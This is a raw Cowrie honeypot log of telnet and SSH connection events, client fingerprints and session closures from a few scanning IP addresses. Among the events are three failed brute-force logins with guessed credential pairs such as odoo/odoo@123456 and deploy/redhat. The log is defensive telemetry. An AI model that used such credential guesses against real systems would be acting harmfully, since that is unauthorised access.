{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37602,"dst_ip":"10.17.0.5","dst_port":23,"session":"88623440eb88","protocol":"telnet","message":"New connection: 64.227.101.30:37602 (10.17.0.5:23) [session: 88623440eb88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:33.994864Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39350,"dst_ip":"10.17.0.5","dst_port":23,"session":"27461b603f6c","protocol":"telnet","message":"New connection: 64.227.101.30:39350 (10.17.0.5:23) [session: 27461b603f6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:35.017304Z"}
{"eventid":"cowrie.session.closed","duration":37.797600746154785,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:35.562006Z","src_ip":"64.227.101.30","session":"cb40810b8e99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41408,"dst_ip":"10.17.0.5","dst_port":23,"session":"82db60551101","protocol":"telnet","message":"New connection: 64.227.101.30:41408 (10.17.0.5:23) [session: 82db60551101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:41.571750Z"}
{"eventid":"cowrie.session.closed","duration":43.15889835357666,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:42.989047Z","src_ip":"64.227.101.30","session":"41b2de981314","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42346,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9599bbd8851","protocol":"telnet","message":"New connection: 64.227.101.30:42346 (10.17.0.5:23) [session: c9599bbd8851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:44.687849Z"}
{"eventid":"cowrie.session.closed","duration":43.84212875366211,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:44.743433Z","src_ip":"68.183.198.12","session":"73b09a68719b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.35691809654236,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:44.920668Z","src_ip":"64.227.101.30","session":"9a661f8c6ffd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.09873557090759,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:51.177259Z","src_ip":"64.227.101.30","session":"a8c6d6660ab0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46082,"dst_ip":"10.17.0.5","dst_port":23,"session":"d99fa979b755","protocol":"telnet","message":"New connection: 64.227.101.30:46082 (10.17.0.5:23) [session: d99fa979b755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:52.271216Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50002,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf2cb68e0068","protocol":"telnet","message":"New connection: 64.227.101.30:50002 (10.17.0.5:23) [session: cf2cb68e0068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:56.917058Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35008,"dst_ip":"10.17.0.5","dst_port":23,"session":"d66d85adccdf","protocol":"telnet","message":"New connection: 64.227.101.30:35008 (10.17.0.5:23) [session: d66d85adccdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:58.283374Z"}
{"eventid":"cowrie.session.closed","duration":0.006051540374755859,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:58.289311Z","src_ip":"64.227.101.30","session":"d66d85adccdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":47730,"dst_ip":"159.203.135.109","dst_port":23,"session":"285512b3073e","protocol":"telnet","message":"New connection: 68.183.198.12:47730 (159.203.135.109:23) [session: 285512b3073e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:59.235743Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43686,"dst_ip":"10.17.0.5","dst_port":23,"session":"31c50fd5eeca","protocol":"telnet","message":"New connection: 64.227.101.30:43686 (10.17.0.5:23) [session: 31c50fd5eeca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:59.787243Z"}
{"eventid":"cowrie.session.closed","duration":44.438148021698,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:03.185116Z","src_ip":"64.227.101.30","session":"5fafed97a0b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":47876,"dst_ip":"159.203.135.109","dst_port":23,"session":"06689de17104","protocol":"telnet","message":"New connection: 68.183.198.12:47876 (159.203.135.109:23) [session: 06689de17104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:03.522915Z"}
{"eventid":"cowrie.session.closed","duration":1.2935853004455566,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:04.816364Z","src_ip":"68.183.198.12","session":"06689de17104","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":59130,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf4ca8638948","protocol":"ssh","message":"New connection: 43.165.185.71:59130 (10.17.0.5:22) [session: cf4ca8638948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:07.496091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:07.501088Z","src_ip":"43.165.185.71","session":"cf4ca8638948","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:07.669876Z","src_ip":"43.165.185.71","session":"cf4ca8638948","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":49020,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6f4991e0843","protocol":"telnet","message":"New connection: 68.183.198.12:49020 (159.203.135.109:23) [session: d6f4991e0843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:07.791101Z"}
{"eventid":"cowrie.session.closed","duration":38.26926779747009,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:08.240472Z","src_ip":"64.227.101.30","session":"33b5c10e9b7c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo@123456","message":"login attempt [odoo/odoo@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:08.360451Z","src_ip":"43.165.185.71","session":"cf4ca8638948","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:09.527444Z","src_ip":"43.165.185.71","session":"cf4ca8638948","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39700,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3d74ba3e246","protocol":"telnet","message":"New connection: 174.138.46.234:39700 (159.203.135.109:23) [session: b3d74ba3e246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:09.997440Z"}
{"eventid":"cowrie.session.closed","duration":39.006805181503296,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:13.001551Z","src_ip":"64.227.101.30","session":"88623440eb88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.945571660995483,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:17.942791Z","src_ip":"174.138.46.234","session":"b3d74ba3e246","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.574493408203125,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:21.145910Z","src_ip":"64.227.101.30","session":"82db60551101","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":52666,"dst_ip":"10.17.0.5","dst_port":22,"session":"8972f723e3c1","protocol":"ssh","message":"New connection: 103.170.173.26:52666 (10.17.0.5:22) [session: 8972f723e3c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:21.807747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:21.812862Z","src_ip":"103.170.173.26","session":"8972f723e3c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:22.088360Z","src_ip":"103.170.173.26","session":"8972f723e3c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"redhat","message":"login attempt [deploy/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:23.219195Z","src_ip":"103.170.173.26","session":"8972f723e3c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.22393774986267,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:23.241117Z","src_ip":"64.227.101.30","session":"27461b603f6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36606,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bd5b8ec677f","protocol":"telnet","message":"New connection: 64.227.101.30:36606 (10.17.0.5:23) [session: 3bd5b8ec677f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:24.260348Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:24.497793Z","src_ip":"103.170.173.26","session":"8972f723e3c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39358,"dst_ip":"10.17.0.5","dst_port":23,"session":"632d3d9262ab","protocol":"telnet","message":"New connection: 64.227.101.30:39358 (10.17.0.5:23) [session: 632d3d9262ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:29.321853Z"}
{"eventid":"cowrie.session.closed","duration":45.71188306808472,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:37.982981Z","src_ip":"64.227.101.30","session":"d99fa979b755","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.40519452095032,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:40.640699Z","src_ip":"68.183.198.12","session":"285512b3073e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45128,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a00cb555c41","protocol":"telnet","message":"New connection: 64.227.101.30:45128 (10.17.0.5:23) [session: 1a00cb555c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:40.698941Z"}
{"eventid":"cowrie.session.closed","duration":58.94509506225586,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:43.632573Z","src_ip":"64.227.101.30","session":"c9599bbd8851","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.34810972213745,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:50.139103Z","src_ip":"68.183.198.12","session":"d6f4991e0843","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":54476,"dst_ip":"159.203.135.109","dst_port":23,"session":"dba0379fc5c8","protocol":"telnet","message":"New connection: 68.183.198.12:54476 (159.203.135.109:23) [session: dba0379fc5c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:54.563203Z"}
{"eventid":"cowrie.session.closed","duration":55.43005418777466,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:55.217180Z","src_ip":"64.227.101.30","session":"31c50fd5eeca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51776,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f6c85b043e9","protocol":"telnet","message":"New connection: 64.227.101.30:51776 (10.17.0.5:23) [session: 2f6c85b043e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:57.147254Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":53550,"dst_ip":"159.203.135.109","dst_port":23,"session":"b003939ab496","protocol":"telnet","message":"New connection: 68.183.198.12:53550 (159.203.135.109:23) [session: b003939ab496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:58.350277Z"}
{"eventid":"cowrie.session.closed","duration":3.8224682807922363,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:58.385575Z","src_ip":"68.183.198.12","session":"dba0379fc5c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.459622859954834,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:21:59.719843Z","src_ip":"64.227.101.30","session":"3bd5b8ec677f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":39822,"dst_ip":"10.17.0.5","dst_port":22,"session":"85d35f6643d1","protocol":"ssh","message":"New connection: 43.165.185.71:39822 (10.17.0.5:22) [session: 85d35f6643d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:03.864170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:03.869233Z","src_ip":"43.165.185.71","session":"85d35f6643d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:04.043598Z","src_ip":"43.165.185.71","session":"85d35f6643d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp_user","password":"ftp","message":"login attempt [ftp_user/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:04.750381Z","src_ip":"43.165.185.71","session":"85d35f6643d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53848,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dd2739a4b29","protocol":"telnet","message":"New connection: 64.227.101.30:53848 (10.17.0.5:23) [session: 7dd2739a4b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:05.323037Z"}
{"eventid":"cowrie.session.closed","duration":36.47024464607239,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:05.791987Z","src_ip":"64.227.101.30","session":"632d3d9262ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:05.926370Z","src_ip":"43.165.185.71","session":"85d35f6643d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":58060,"dst_ip":"159.203.135.109","dst_port":22,"session":"0761cec2e6c0","protocol":"ssh","message":"New connection: 194.59.206.2:58060 (159.203.135.109:22) [session: 0761cec2e6c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:06.848564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:06.853609Z","src_ip":"194.59.206.2","session":"0761cec2e6c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:06.955633Z","src_ip":"194.59.206.2","session":"0761cec2e6c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:07.077404Z","src_ip":"194.59.206.2","session":"0761cec2e6c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.562330961227417,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:09.261178Z","src_ip":"64.227.101.30","session":"1a00cb555c41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45516,"dst_ip":"10.17.0.5","dst_port":23,"session":"143c6f159b5c","protocol":"telnet","message":"New connection: 64.227.101.30:45516 (10.17.0.5:23) [session: 143c6f159b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:09.810033Z"}
{"eventid":"cowrie.session.closed","duration":0.007209300994873047,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:09.817065Z","src_ip":"64.227.101.30","session":"143c6f159b5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41740,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8188d590e9f","protocol":"telnet","message":"New connection: 64.227.101.30:41740 (10.17.0.5:23) [session: a8188d590e9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:11.241282Z"}
